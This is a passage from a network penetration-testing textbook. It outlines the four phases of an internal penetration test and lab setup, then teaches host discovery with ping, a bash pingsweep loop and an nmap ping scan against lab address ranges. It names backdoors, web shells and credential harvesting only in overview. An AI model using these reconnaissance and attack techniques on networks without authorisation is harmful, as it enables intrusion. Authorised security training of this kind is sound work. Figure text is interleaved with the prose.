enumerate information about network targets, services, and vulnerabilities that you can take advantage of to gain unauthorized access to restricted areas of the target network. 1.5.2 Phase 2: Focused penetration Let the fun begin! The second phase of an INPT is where all the seeds planted during the previous phase begin to bear fruit (figure 1.3). Now that you have identified vul- nerable attack vectors throughout the environment, it’s time to compromise those hosts and start to take control of the network from the inside. During this section of the book, you’ll learn several types of attack vectors that will result in some form of remote code execution (RCE) on vulnerable targets. RCE means Host discovery Service discovery Vulnerability discovery Final output Final output Final output List of available attack vectors targets.txt Protocol-specific target lists ignore.txt A. B. C. Identify host-specific info: - IP address - DNS name - Operating system Enumerate listening services: - Service protocol - Software name and version - NSE script output Test for security weaknesses: - Missing, weak, or default credentials - Missing security updates (patches) - Insecure service configuration Figure 1.2 The information-gathering phase 10 CHAPTER 1 Network penetration testing you can connect to a remote command prompt and type commands to your compro- mised victim that will be executed and will send output back to you at your prompt. I’ll also teach you how to deploy custom web shells using vulnerable web applica- tions. By the time you’re finished with this phase of the book, you’ll have successfully compromised and taken control over database servers, web servers, file shares, work- stations, and servers residing on Windows and Linux operating systems. 1.5.3 Phase 3: Post-exploitation and privilege escalation One of my favorite security blogs is written and maintained by a respected penetration tester named Carlos Perez (@Carlos_Perez). The heading at the top of his page (https://www.darkoperator.com) absolutely fits for this section of the book: “Shell is only the beginning.” After you’ve learned how to compromise several vulnerable hosts within your tar- get environment, it’s time to take things to the next level (figure 1.4). I like to refer to these initial hosts that are accessible via a direct access vulnerability as level-1 hosts. This phase of the engagement is all about getting to level-2. Level-2 hosts are targets that were not initially accessible during the focused pene- tration phase because you couldn’t identify any direct weaknesses within their listen- ing services. But after you gained access to level-1 targets, you found information or Authentication, configuration, and patching vulnerabilities Deploy backdoor web shells Compromise vulnerable database servers Access remote management services (SSH, RDP, WMI, SMB…) Exploit missing software patches Gain initial foothold into restricted network areas (Level 1) Figure 1.3 The focused penetration phase 11 Executing a network penetration test vectors previously unavailable to you, which allowed you to compromise a newly acces- sible level-2 system. This is referred to as pivoting. In this section, you’ll learn post-exploitation techniques for both Windows- and Linux-based operating systems. These techniques include harvesting clear-text and hashed account credentials to pivot to adjacent targets. You’ll practice elevating non- administrative users to admin-level privileges on compromised hosts. I’ll also teach you some useful tricks I’ve picked up over the years for searching passwords inside hidden files and folders, which are notorious for storing sensitive information. Addi- tionally, you’ll learn several different methods of obtaining a domain admin account (a superuser on a Windows Active Directory network). By the time you’ve finished with this section of the book, you’ll understand exactly why we say in this industry that it takes only a single compromised host for you to spread through a network like wildfire and eventually capture the keys to the kingdom. 1.5.4 Phase 4: Documentation I realized early in my career that hiring a professional consulting firm to execute a network penetration test is kind of like buying a $20,000 PDF document. Without the report, the penetration test means nothing. You broke into the network, found a bunch of holes in their security, and elevated your initial access as high as it could go. How does that benefit the target organization? Truth be told, it doesn’t, unless you can provide detailed documentation illustrating exactly how you were able to do it and what the organization should do to ensure that you (or someone else) can’t do it again (figure 1.5). I’ve written hundreds of pentest deliverables, and I’ve had to learn—sometimes the hard way—what clients want to see in a report. I’ve also come to the realization C. Repeat password guessing using discovered credentials to unlock access to level-2 targets. B. Locate clear-text and hashed credentials from all level-1 targets. A. Establish a persistent Meterpreter that automatically connects back if the session dies. Level 2: Newly accessible targets Move laterally Use credentials to access new targets Harvest clear-text credentials Harvest domain cached credentials Harvest local account password hashes Install persistent back-door executable Harvest credentials Maintain reliable re-entry Level 1: Compromised targets Figure 1.4 The privilege escalation phase 12 CHAPTER 1 Network penetration testing that they’re the ones paying thousands of dollars to read the report, so it’s probably a good idea to make sure they’re impressed. In addition to showing you exactly what to put in an engagement deliverable, I’ll also share some efficiency habits I’ve learned over the years that have saved thousands of production hours of my time—time I was then able to spend doing things I enjoy, like breaking into corporate networks (rather than staring at a Word document editor). 1.6 Setting up your lab environment The topic of network penetration testing is one that should be learned by doing. I have written this book in a format that assumes you, the reader, have access to an enterprise network and authorization to perform basic penetration testing activities against it. I understand that some of you may not have such access. Therefore I have created an open source project called the Capsulecorp Pentest, which will serve as a Proof of every system compromised Too many is usually not enough. Step-by-step, how you penetrated the network B. Create linear attack narratives Phase 4: Documentation A. Gather evidence/screenshots C. Create final deliverable Written so non-technical readers can understand Detailed recommendations to fix what you found This is what clients pay money for. Figure 1.5 The documentation phase What makes this book different from other penetration testing books? Looking at this book’s table of contents, you may be wondering why topics you’ve seen covered in other penetration testing books are missing: social engineering, evading antivirus software, wireless hacking, mobile and web application testing, lock picking—I could go on, but you get the point. In reality, all of these topics deserve their own books, and covering them in a single chapter doesn’t do justice to the breadth of information that’s available on each one. The purpose of this book is to arm you with the tools necessary to conduct a typical internal network penetration test (INTP). This engagement is sold by every pentesting firm out there and is the most common type of engagement you will perform, should you end up in a career as a professional penetration tester. During typical INTPs (where you will spend at least 80% of your time), you will not be asked (or even allowed) to touch your client’s wireless infrastructure or send email phishing messages to the company’s employees or try to tailgate into its physical datacenters. You won’t have the time or resources to properly build custom payloads designed to bypass the organization’s specific EDR solution. Rather than gloss over subjects that are interesting and definitely have value in other engagements, this book chooses to focus solely on the topic at hand. 13 Building your own virtual pentest platform lab environment that you can use to work through the entire INPT process you will learn throughout the remaining chapters. 1.6.1 The Capsulecorp Pentest project The Capsulecorp Pentest environment is a virtual network set up using VirtualBox, Vagrant, and Ansible. In addition to the vulnerable enterprise systems, it also comes with a preconfigured Ubuntu Linux system for you to use as your attacking machine. You should download the repository from the book’s website (https://www.manning.com/ books/the-art-of-network-penetration-testing) or GitHub (https://github.com/r3dy/ capsulecorp-pentest) and follow the setup documentation before moving forward to the next chapter. 1.7 Building your own virtual pentest platform Some of you may prefer to roll your own setup from the ground up. I completely understand this mentality. If you want to create your own pentest system, I urge you to consider a couple of things before choosing an operating system platform to start with. 1.7.1 Begin with Linux Like most professional penetration testers, I prefer to use the Linux operating system to conduct the technical portions of an engagement. This is primarily due to a chicken and egg kind of phenomenon, which I will try to explain. Most penetration testers use Linux. When an individual develops a tool to make their job easier, they share it with the world, usually via GitHub. It’s likely the tool was developed on Linux and coincidently works best when run from a Linux system. At the very least, it requires fewer headaches and dependency battles to get it working on Linux. Therefore, more and more people are basing and conducting their penetra- tion testing from a Linux platform so they can use the latest and best available tools. So, you see, you could make the argument that Linux is the most popular choice among penetration testers because it is the most popular choice among penetration testers—and thus my chicken-and-egg comparison. There is a good reason why this occurs, though. Until the introduction of Micro- soft’s PowerShell scripting language, Linux/UNIX-based operating systems were the only ones that shipped with native support for programming and scripting automated workflows. You didn’t have to download and install a big, bulky IDE if you wanted to write a program. All you had to do was open a blank file in Vim or Vi (the most power- ful text editors on the planet), write some code, and then run it from your terminal. If you’re wondering what the connection is between penetration testing and writing code, it’s simple: laziness. Just like developers, pentesters can be lazy, and conse- quently loath doing repetitive tasks; thus we write code to automate whatever we can. There are other somewhat political reasons for using Linux, which I won’t cover in detail because I’m not a political person. I will say, though, that most pentesters fancy 14 CHAPTER 1 Network penetration testing themselves as hackers. Hackers—at least traditionally—tend to prefer open source software, which can be freely obtained and customized, as opposed to closed source commercial applications developed by corporations trying to make a buck. Who knows what those big, bad companies have hidden in their products? Information should be free, fight the man, hack the planet . . . you get the point. TIP Linux is the operating system preferred by most penetration testers. Some of these pentesters have written really powerful tools that work best on a Linux platform. If you want to do pentesting, you should use Linux, too. 1.7.2 The Ubuntu project This is where my personal preference begins to enter the monologue: I am most com- fortable pentesting from Ubuntu Linux, which is a derivative of the much older Debian Linux. My reason is not an elitist opinion battle between mine and theirs. Ubuntu is sim- ply the best-performing platform of the dozen or so distributions I’ve experimented with over the years. I won’t discourage you from choosing a different distribution, espe- cially if you are already comfortable with something else. But I encourage you to choose a project that is extremely well-documented and supported by a vast community of educated users. Ubuntu certainly meets and exceeds these criteria. Choosing a Linux distribution is a lot like choosing a programming language. You’ll find no shortage of die-hard supporters with their feet buried deep in the sand, screaming at the top of their lungs all the reasons why their camp is superior to the others. But these debates are pointless because the best programming language is usu- ally the one you know the best and can therefore be the most productive with. That is also true with Linux distributions. 1.7.3 Why not use a pentest distribution? You may have heard about Kali Linux, Black Arch, or some other custom Linux distri- bution marketed for pentesting and ethical hacking. Wouldn’t it be easier to just download one of those instead of building a platform from scratch? Well, yes and no. What is a Linux distribution? Unlike commercial operating systems such as Microsoft Windows, Linux is open source and freely customizable to your heart’s content. As a direct result, hundreds of different versions of Linux have been created by individuals or groups or even com- panies that have their own perspective on how Linux should look and feel. These ver- sions are called distributions, distros, or sometimes flavors, depending on who you’re chatting with. The core of the Linux operating system is called the kernel, which most versions leave untouched. The rest of the operating system, though, is totally up for grabs: the win- dow manager, package manager, shell environment, you name it. 15 Summary Although the grab-and-go factor is undoubtedly appealing, what you’ll find when you work in this field long enough is that these preconfigured pentest platforms tend to be a little bloated with unnecessary tools that never get used. It’s kind of like start- ing a new DIY home project. A big hardware store like Home Depot has absolutely everything you could ever need, but the individual project you are working on, no matter how complex it is, requires only a dozen or so tools. I want to go on record stat- ing that I respect and admire the hard work that’s put in by the various developers and maintainers of these distros. At some point, though, you’ll inevitably Google “How to do XYZ in Linux” while on an active engagement and find a really great article or tutorial with just four simple commands that work on Ubuntu but not Kali, even though Kali is based on Ubuntu! Sure, you can go digging into the problem, which, of course, has a simple solution once you find out what it is; but I’ve had to do this so many times that I simply run Ubuntu and install what I need—and only what I need and that works best for me. That’s my philosophy, right or wrong. Last, I’ll say this. I place a great deal of importance on building out your own envi- ronment—not just for your competency and skill progression, but also so that you can have the confidence to look your client in the eye and tell them everything that’s run- ning on your system if they ask you. Clients are often scared of penetration testing because they don’t have much experience with it, so it’s not uncommon for them to be cautious when allowing a third party to plug an unmanaged device into their net- work. I’ve been asked many times to provide a write-up of every tool I use and links to the documentation. NOTE Maybe you’re thinking “I still want to use Kali.” That’s completely fine. Most of the tools covered in this book are natively available within Kali Linux. Depending on your skill level, it may be easier to go that route. Keep in mind that all of the exercises and demonstrations in the book are done using the custom-built Ubuntu machine covered in appendix A. I expect that you can follow along with this book using Kali Linux if that is your preference. All that being said, if you prefer to create your own system from scratch, you can take a look at appendix A, where I have outlined a complete setup and configuration. Oth- erwise, if you simply want to get started learning how to conduct an INPT, you can download and set up the Capsulecorp Pentest environment from the GitHub link in section 1.6.1. Either way, make your choice, set up your lab environment, and then get started conducting your first penetration test in chapter 2. Summary  The world as we know it is operated by networked computer systems.  It is increasingly difficult for companies to manage the security of their com- puter systems. 16 CHAPTER 1 Network penetration testing  Attackers need to find only a single hole in a network to blow the doors wide open.  Adversarial attack simulation exercises, or penetration tests, are an active approach to identifying security weaknesses in an organization before hackers can find and exploit them.  The most common type of attack simulation is an internal network penetration test, which simulates threats from a malicious or compromised insider.  A typical INPT can be executed within a 40-hour work week and consists of four phases: 1 Information gathering 2 Focused penetration 3 Post-exploitation and privilege escalation 4 Documentation Phase 1 Information gathering This part of the book will guide you through the first phase of your internal network penetration test (INPT). In chapter 2, you learn how to identify live hosts, or targets, from a given IP address range using various techniques and tools. Chapter 3 teaches you how to further enumerate those targets by identify- ing network services listening on open ports. You also learn how to fingerprint the exact application name and version number of these network services using a technique sometimes called banner grabbing. Finally, in chapter 4, you per- form manual vulnerability discovery, probing identified network services for the three types of commonly exploited security weaknesses: authentication, configu- ration, and patching vulnerabilities. When you’re finished with this part of the book, you will have a complete understanding of your target environment’s attack surface. You will be ready to begin the next phase of your engagement: focused penetration. 19 Discovering network hosts As you’ll recall, the first phase in the four-phase network penetration testing (pen- testing) methodology is the information-gathering phase. The goals and objectives for this phase are to gather as much information as possible about your target network environment. This phase is further broken up into three main components or sub- phases. Each sub-phase focuses on discovering information or intelligence about network targets within the following separate categories:  Hosts—Sub-phase A: host discovery  Services—Sub-phase B: service discovery  Vulnerabilities—Sub-phase C: vulnerability discovery This chapter covers  Internet Control Message Protocol (ICMP)  Using Nmap to sweep IP ranges for live hosts  Performance tuning Nmap scans  Discovering hosts using commonly known ports  Additional host discovery methods 20 CHAPTER 2 Discovering network hosts Figure 2.1 illustrates the workflow from each sub-phase beginning with host discovery, then service discovery, and ending with vulnerability discovery. In this chapter, you’ll focus on the first sub-phase: host discovery. The purpose of this sub-phase is to discover as many possible network hosts (or targets) as possible within a given range of IP addresses (your scope). You want to produce two primary outputs during this component:  A targets.txt file containing IP addresses that you will test throughout the engagement  An ignore.txt file containing IP addresses that you will avoid touching in any way DEFINITION Throughout this book, I will use the term target to mean several things: a network host, a service listening on that host, or an attack vector present within a service listening on a host. The context for a given instance of the word target will depend on the particular phase or sub-phase being dis- cussed. Throughout this chapter about discovering network hosts, the term target is used in reference to a network host: that is, a computer with an IP address on the company network. The target list is most effective as a single text file containing line after line of individ- ual IP addresses. Although it is important to uncover additional information about these target hosts, such as their DNS name or operating system, a simple text file with nothing but IP addresses is critical because it serves as an input to several of the tools you’ll use throughout the pentest. Host discovery Service discovery Vulnerability discovery Final output Final output Final output List of available attack vectors targets.txt Protocol-specific target lists ignore.txt A. B. C. Identify host-specific info: - IP address - DNS name - Operating system Enumerate listening services: - Service protocol - Software name and version - NSE script output Test for security weaknesses: - Missing, weak, or default credentials - Missing security updates (patches) - Insecure service configuration Figure 2.1 The information-gathering phase workflow 21 Understanding your engagement scope The exclusion list or blacklist contains IP addresses you are not allowed to test. Depending on your particular engagement, you may or may not have an exclusion list, but it’s critical that you discuss this with your client up front and double-check before moving on to the later components of this phase. Figure 2.2 depicts the host discovery process which will be taught throughout the remainder of this chapter. It’s a good idea to perform host discovery against the entire range or list of ranges provided and then ask the client to look through the results and let you know if there are any systems to stay away from. This is sometimes a chal- lenge: as a pentester, you speak in IP addresses, but network administrators typically speak in hostnames. The way it tends to play out is that the client provides a small list of hosts (usually just their DNS names) that are to be excluded, which you can manu- ally remove from the targets.txt file. 2.1 Understanding your engagement scope At this point, you might be wondering how the list of IP address ranges you will probe during host discovery is determined. This happens during scoping discussions, which you may or may not have been a part of. As a consultant working for a company that performs regular pentesting services, you typically won’t be involved in scoping discus- sions because they often take place during the sales process. ICMP/Ping/Nmap Live hosts Client clears for testing Yes No 192.168.1.0/24 192.168.2.0/24 192.168.10.0/21 B. Probes are directed at IP address ranges taken from the engagement scope. A. Send discovery probes to identify live hosts. C. This results in a list of live hosts (targets). D. Confirm with your client if any targets are off limits. F. Place unapproved targets in ignore.txt. E. Place approved targets in targets.txt. Discovery probes Engagement scope Target list Exclusion list Figure 2.2 Detailed breakdown of sub-phase A: host discovery 22 CHAPTER 2 Discovering network hosts Companies can charge more money to pentest a larger network. For this reason, cus- tomers purchasing a pentest might choose to limit engagement scopes to save money. Regardless of your or my opinion on whether they should or shouldn’t do this, that’s their call. All you need to concern yourself with as the pentester is what’s in your engage- ment scope. Even though you weren’t involved in choosing what is or is not to be con- sidered in scope, you must be intimately familiar with the scope of any engagement you are taking part in, especially as the technical lead performing the actual testing. 2.1.1 Black-box, white-box, and grey-box scoping When it comes to clients and scoping out network pentests, you’ll experience a broad spectrum of personalities and attitudes toward host discovery. However, there are really only three ways to do it that make sense for an internal network penetration test (INPT):  The client gives you a list containing each individual IP address that is to be considered in scope. This is an example of white-box scoping.  The client gives you no information about the network and assumes you are playing the role of an external attacker who managed to get inside the building but now is tasked with footprinting the network. This is considered a black box.  The client gives you a list of IP address ranges that you are to sweep through to identify targets. This is a middle-ground approach and is often called a grey-box scope. DEFINITION Footprinting is a fancy pentest word for enumerating information about a system or network that you have no previous knowledge about. In my experience, most clients opt for either black- or grey-box tests. Even when they choose white box, it’s best to perform your own discovery within their operating IP address ranges, because clients often have computer systems on their network that they don’t know about. Discovering them and then finding a critical attack vector on a previously unknown host is an easy win and a real value add-on to the engagement. Of course, for legal purposes, this should be spelled out explicitly in the statement of work (SOW). Going forward, we’re going to assume that your client has provided you with a grey-box scope of predetermined IP address ranges, and your job is to discover all the live hosts within them. A live host is just a system that is turned on. 2.1.2 Capsulecorp Imagine that your new client, Capsulecorp, has hired you to conduct an internal net- work pentest of one of its satellite offices. The office is small, with fewer than a dozen employees, so the IP address range is a small class C range. A class C IP address range contains a maximum of 254 useable IP addresses. Your contact tells you the range: 10.0.10.0/24. This range can contain up to 254 live hosts. However, you are tasked with discovering all the live targets within this 23 Understanding your engagement scope range and testing them for exploitable weaknesses that could be used by an attacker to gain unauthorized entry into restricted areas of the corporate network. Your objective is to sweep this range, determine the number of live hosts, and cre- ate a targets.txt file containing each live IP address, one line after another. Create the following folder structure in your pentest VM. Begin at the top level with the name of your client, and then place three folders in that directory:  One for discovery  One for documentation  One for focused penetration In the discovery directory, create a subdirectory for hosts and a subdirectory for ser- vices. The documentation folder also has two subdirectories: one for logs and one for screenshots. That’s good for now; you’ll create additional directories later, depending on what you see during the pentest. Remember that if you are using the Capsulecorp Pentest environment, the pentest VM can be accessed by running the command vagrant ssh pentest. NOTE The directory names aren’t set in stone. The part I want to highlight is organizing your notes, files, scripts, and logs in a methodical manner that fol- lows along with the methodology you’re using to conduct your pentest. Next, place a file called ranges.txt in the discovery folder, just like the example in fig- ure 2.3. This file should contain all the IP address ranges in your engagement scope, each on its own line. Nmap can read this file as a command-line argument, which comes in handy for running different types of Nmap commands. For the Capsulecorp engagement, I’m going to place 10.0.10.0/24 in the discovery/ranges.txt directory because that is the only range I have in my scope. On a typical INPT, your ranges.txt Figure 2.3 Directory structure you create for this example 24 CHAPTER 2 Discovering network hosts file will likely contain several different ranges. If you’re following along with the Cap- sulecorp Pentest environment from GitHub, then you’ll want to use the IP range 172.28.128.0/24. 2.1.3 Setting up the Capsulecorp Pentest environment I have created a preconfigured virtual enterprise network using Vagrant, VirtualBox, and Ansible that you can download from GitHub and set up on your own computer. This virtual network can be used to help you work through the chapters and exercises in this book. There is plenty of documentation on the GitHub page, so I won’t duplicate that information here. If you don’t already have a network to test against, take some time now and set up your own instance of the Capsulecorp Pentest network following the instructions on the GitHub page: https://github.com/r3dy/capsulecorp-pentest. Once that’s complete, come back and finish this chapter. 2.2 Internet Control Message Protocol The simplest and probably most efficient way to discover network hosts is to use Nmap to run a pingsweep scan. Before getting to that, though, let’s first discuss ping. Without a doubt, one of the most commonly used tools in computer networking is the ping command. If you are working with a system administrator to try to trouble- shoot an issue with a particular system on their network, you’ll likely hear them ask first and foremost, “Can you ping the host?” What they are really asking is, “Does the host reply to ICMP request messages?” Figure 2.4 models the network behavior that occurs when one host pings another. Pretty simple, right? PC1 sends an ICMP request packet to PC2. DEFINITION A pingsweep means you send a ping to every possible IP address within a given range to determine which ones send you a reply and are there- fore considered up or live. PC2 then replies with its own ICMP packet. This behavior is analogous to modern sub- marines sending sonar beacons that “echo” off an object and, when returned to the submarine, provide information about that object’s location, size, shape, and so on. Why use several small ranges instead of a single large one? Network engineers working for large companies have to manage many thousands of systems and therefore try their best to keep things organized. This is why they tend to use lots of different ranges: one for the database servers, one for the web servers, one for the workstations, and so on. A good pentester can correlate discovery infor- mation such as hostnames, operating systems, and listening services with different IP address ranges and start to develop a mental picture of what the network engi- neers may have been thinking when they logically separated the network. 25 Internet Control Message Protocol 2.2.1 Using the ping command Your pentest VM is already equipped with the ping command, which you can execute from a bash prompt. If you want to test the ping command, you can run it against yourself or, rather, against the local loopback IP address of your pentest system. Type ping 127.0.0.1 -c 1 at the command prompt in the terminal. You can expect to see the following output: ~$ ping 127.0.0.1 -c 1 PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.024 ms --- 127.0.0.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.024/0.024/0.024/0.000 ms Notice the use of the -c 1 parameter, which tells the command to issue only a single ICMP echo request. By default, if you omit this parameter, the ping command will continuously send requests one after another until the end of time, as opposed to the Microsoft Windows version, which defaults to sending four requests. This output tells you that the target host you just pinged is live or “up.” This is to be expected because you pinged a live system that you’re using. The following is what you would expect to see if you sent a ping to an IP address that was not in use (that was “down”): ~$ ping 126.0.0.1 -c 1 PING 126.0.0.1 (126.0.0.1) 56(84) bytes of data. --- 126.0.0.1 ping statistics --- 1 packets transmitted, 0 received, 100% packet loss, time 0ms ICMP request message ICMP reply message (ECHO) Can you hear me? PC2 PC1 Yes I can! An ICMP ping Figure 2.4 Typical ICMP packet exchange -c 1 tells the ping command to send a single ping. 0 received because the host is not up 26 CHAPTER 2 Discovering network hosts You’ll notice that this second command takes a little while to complete. This is because your ping command is waiting for an echo reply from the target host, which isn’t up and therefore won’t echo an ICMP message. To illustrate the concept of using ping as a means to discover live hosts within a given range, you can test it against the local area network (LAN) IP address of your pentest VM. You can identify this network range by using the ifconfig command that is included in the net-tools package you installed when you set up your VM. If ifconfig errors out with “command not found,” you can install it with the command sudo apt install net-tools from the terminal. Then run the following command to identify your LAN subnet. ~$ ifconfig ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 10.0.10.160 netmask 255.255.255.0 inet6 fe80::3031:8db3:ebcd:1ddf prefixlen 64 scopeid 0x20<link> ether 00:11:22:33:44:55 txqueuelen 1000 (Ethernet) RX packets 674547 bytes 293283564 (293.2 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 199995 bytes 18480743 (18.4 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 126790 bytes 39581924 (39.5 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 126790 bytes 39581924 (39.5 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 From the output on my system, you can see that my VM has an IP address of 10.0.10.160. Based on the size of the subnet mask 255.255.255.0, I know that this IP address belongs to a class C network, also referred to by most pentesters as a /24 range (we pronounce it phonetically, so we say “slash 24”). This means there are a possible 254 live hosts within this range: 10.0.10.1, 10.0.10.2, 10.0.10.3, and so on, all the way up to 10.0.10.254. As you can imagine, if you wanted to ping each of these 254 possi- ble hosts, it would take a long time, especially since you’d have to wait several seconds for each non-live IP to reach the timeout. 2.2.2 Using bash to pingsweep a network range Even if you use the ping flag -W 1 to force the timeout to be only one second on non- live hosts, it would still take an unnecessarily long time to successfully sweep an entire network range. This is where the power of scripting with bash comes in handy. The Listing 2.1 Using ifconfig to determine your IP address and subnet mask IP address on the LAN Subnet mask determining the number of possible IP addresses within the range 27 Internet Control Message Protocol following is a little trick you can try on your LAN to use one line of bash to send 254 pings in just a couple of seconds. First I’ll show you the command, and then I’ll break down the different pieces: ~$ for octet in {1..254}; do ping -c 1 10.0.10.$octet -W 1 >> ➥ pingsweep.txt & done For this command to work on your network, you’ll have to replace 10.0.10 with the first three octets of your LAN. The command creates a bash for loop that is executed 254 times. Each time it executes, the numeric value of the variable $octet is incre- mented. First it will be 1, then 2, and then 3; you get the idea. The first iteration looks like this: ping -c 1 10.0.10.1 -W 1 >> pingsweep.txt &. The & in this command tells bash to background the job, which means you don’t have to wait for it to complete before issuing the next command. The >> tells bash to append the out- put of each command to a file named pingsweep.txt. Once the loop is finished, you can cat the file with cat pingsweep.txt to see the output of all 254 commands. Because you’re only interested in identifying live hosts, you can use the grep command to display the information you want. Use the command cat pingsweep.txt | grep "bytes from:" to limit the results of your cat command to only show lines that contain the string "bytes from". This essentially means the IP address sends a reply. The output in the next listing shows a total of 22 live hosts returned from the ping sweep. 64 bytes from 10.0.10.1: icmp_seq=1 ttl=64 time=1.69 ms 64 bytes from 10.0.10.27: icmp_seq=1 ttl=64 time=7.67 ms 64 bytes from 10.0.10.95: icmp_seq=1 ttl=64 time=3.87 ms 64 bytes from 10.0.10.88: icmp_seq=1 ttl=64 time=4.36 ms 64 bytes from 10.0.10.90: icmp_seq=1 ttl=64 time=5.33 ms 64 bytes from 10.0.10.151: icmp_seq=1 ttl=64 time=0.112 ms 64 bytes from 10.0.10.125: icmp_seq=1 ttl=64 time=25.8 ms 64 bytes from 10.0.10.138: icmp_seq=1 ttl=64 time=19.3 ms 64 bytes from 10.0.10.160: icmp_seq=1 ttl=64 time=0.017 ms 64 bytes from 10.0.10.206: icmp_seq=1 ttl=128 time=6.69 ms 64 bytes from 10.0.10.207: icmp_seq=1 ttl=128 time=5.78 ms 64 bytes from 10.0.10.188: icmp_seq=1 ttl=64 time=5.67 ms 64 bytes from 10.0.10.205: icmp_seq=1 ttl=128 time=4.91 ms 64 bytes from 10.0.10.204: icmp_seq=1 ttl=64 time=6.41 ms 64 bytes from 10.0.10.200: icmp_seq=1 ttl=128 time=4.91 ms 64 bytes from 10.0.10.201: icmp_seq=1 ttl=128 time=6.68 ms 64 bytes from 10.0.10.220: icmp_seq=1 ttl=64 time=10.1 ms 64 bytes from 10.0.10.225: icmp_seq=1 ttl=64 time=8.21 ms 64 bytes from 10.0.10.226: icmp_seq=1 ttl=64 time=178 ms 64 bytes from 10.0.10.239: icmp_seq=1 ttl=255 time=202 ms 64 bytes from 10.0.10.203: icmp_seq=1 ttl=128 time=281 ms 64 bytes from 10.0.10.202: icmp_seq=1 ttl=128 time=278 ms Listing 2.2 Using grep to sort ping output for live hosts 28 CHAPTER 2 Discovering network hosts NOTE A handy trick is to pipe the previous command into the wc -l com- mand, which will display the line count. In this example, the line count is 22, which tells us how many live targets there are. As you can see, there are 22 live hosts on my network. Or, more accurately, 22 hosts are configured to send ICMP echo replies. If you want to include all of these hosts from your pentest scope, you can use cut to extract the IP addresses from this output and place them in a new file: ~$ cat pingsweep.txt |grep "bytes from" |cut -d " " -f4 |cut -d ":" -f1 > ➥ targets.txt This creates a file that we can then use with Nmap, Metasploit, or any other pentest tool that takes in a list of IP addresses as a command-line argument: ~$ cat targets.txt 10.0.10.1 10.0.10.27 10.0.10.95 10.0.10.88 10.0.10.90 10.0.10.151 10.0.10.125 10.0.10.138 10.0.10.160 10.0.10.206 10.0.10.207 10.0.10.188 10.0.10.205 10.0.10.204 10.0.10.200 10.0.10.201 10.0.10.220 10.0.10.225 10.0.10.226 10.0.10.239 10.0.10.203 10.0.10.202 2.2.3 Limitations of using the ping command Although the ping command works just fine in the example scenario, there are a few limitations to using ping as a reliable method of host discovery on an enterprise net- work pentest. First, it isn’t particularly useful if you have multiple IP address ranges or several small /24 ranges split between different segments of a larger /16 or /8. For example, using the previous bash command would be difficult if you needed to sweep only 10.0.10, 10.0.13, and 10.0.36. Sure, you could run three separate commands, cre- ate three separate text files, and join them together, but this method would not scale if you needed to sweep lots of ranges. The next issue with using ping is that its output is pretty noisy and contains a lot of unnecessary information. Yes, it’s possible to use grep as in the previous example to 29 Discovering hosts with Nmap surgically pick out the data you need, but then why store all that unnecessary informa- tion in a giant text file? At the end of the day, grep plus cut can get you out of many situations, but structured XML output that can be parsed and sorted using a scripting language such as Ruby would be preferable, especially if you will be testing a large net- work with thousands or even tens of thousands of hosts. For this reason, you would be much better off using Nmap to perform host discovery. You’ve seen a rudimentary method of host discovery that works fine in limited situ- ations. Now I’d like to offer you a much better way to perform host discovery, using the ever-powerful Nmap. 2.3 Discovering hosts with Nmap The ICMP echo discovery probe is the most widely adopted method of internal net- work host discovery used by pentesters (and probably actual attackers) today. I’m going to introduce four Nmap command-line arguments or flags and explain what they do and why you should include them in your discovery command. To execute an ICMP sweep targeting all ranges within the ranges.txt file, issue this command from within the top-level folder, which in my case is the capsulecorp folder: sudo nmap -sn -iL discovery/ranges.txt -oA discovery/hosts/pingsweep -PE The output for the command is shown in listing 2.3. You should feel free to run this command against your own network, as it won’t cause any harm. If you run the com- mand on your company network, you’re not going to break anything. Still, your activ- ity may be detected by your internal security operations center (SOC), so you might want to give them a heads-up first. Starting nmap 7.70SVN ( https://nmap.org ) at 2019-04-30 10:53 CDT nmap scan report for amplifi.lan (10.0.10.1) Host is up (0.0022s latency). nmap scan report for MAREMD06FEC82.lan (10.0.10.27) Host is up (0.36s latency). nmap scan report for VMB4000.lan (10.0.10.88) Host is up (0.0031s latency). nmap scan report for 10.0.10.90 Host is up (0.24s latency). nmap scan report for 10.0.10.95 Host is up (0.0054s latency). nmap scan report for AFi-P-HD-ACC754.lan (10.0.10.125) Host is up (0.010s latency). nmap scan report for AFi-P-HD-ACC222.lan (10.0.10.138) Host is up (0.0097s latency). nmap scan report for rdc01.lan (10.0.10.151) Host is up (0.00024s latency). nmap scan report for android-d36432b99ab905d2.lan (10.0.10.181) Host is up (0.18s latency). nmap scan report for bookstack.lan (10.0.10.188) Listing 2.3 Nmap host discovery utilizing ICMP 30 CHAPTER 2 Discovering network hosts Host is up (0.0019s latency). nmap scan report for 10.0.10.200 Host is up (0.0033s latency). nmap scan report for 10.0.10.201 Host is up (0.0033s latency). nmap scan report for 10.0.10.202 Host is up (0.0033s latency). nmap scan report for 10.0.10.203 Host is up (0.0024s latency). nmap scan report for 10.0.10.204 Host is up (0.0023s latency). nmap scan report for 10.0.10.205 Host is up (0.0041s latency). nmap scan report for 10.0.10.206 Host is up (0.0040s latency). nmap scan report for 10.0.10.207 Host is up (0.0037s latency). nmap scan report for 10.0.10.220 Host is up (0.25s latency). nmap scan report for nail.lan (10.0.10.225) Host is up (0.0051s latency). nmap scan report for HPEE5A60.lan (10.0.10.239) Host is up (0.56s latency). nmap scan report for pentestlab01.lan (10.0.10.160) Host is up. nmap done: 256 IP addresses (22 hosts up) scanned in 2.29 second This command uses four Nmap command-line flags. The help command output is very useful for explaining what these flags do. The first one tells Nmap to run a ping scan and not to check for open ports. The second flag is used to specify the location of the input file, which in this case is discovery/ranges.txt. The third flag tells Nmap to use all three of the major output formats, which I’ll explain later, and the fourth flag says to use an ICMP echo discovery probe: -sn: Ping Scan - disable port scan -iL <inputfilename>: Input from list of hosts/networks -oA <basename>: Output in the three major formats at once -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes 2.3.1 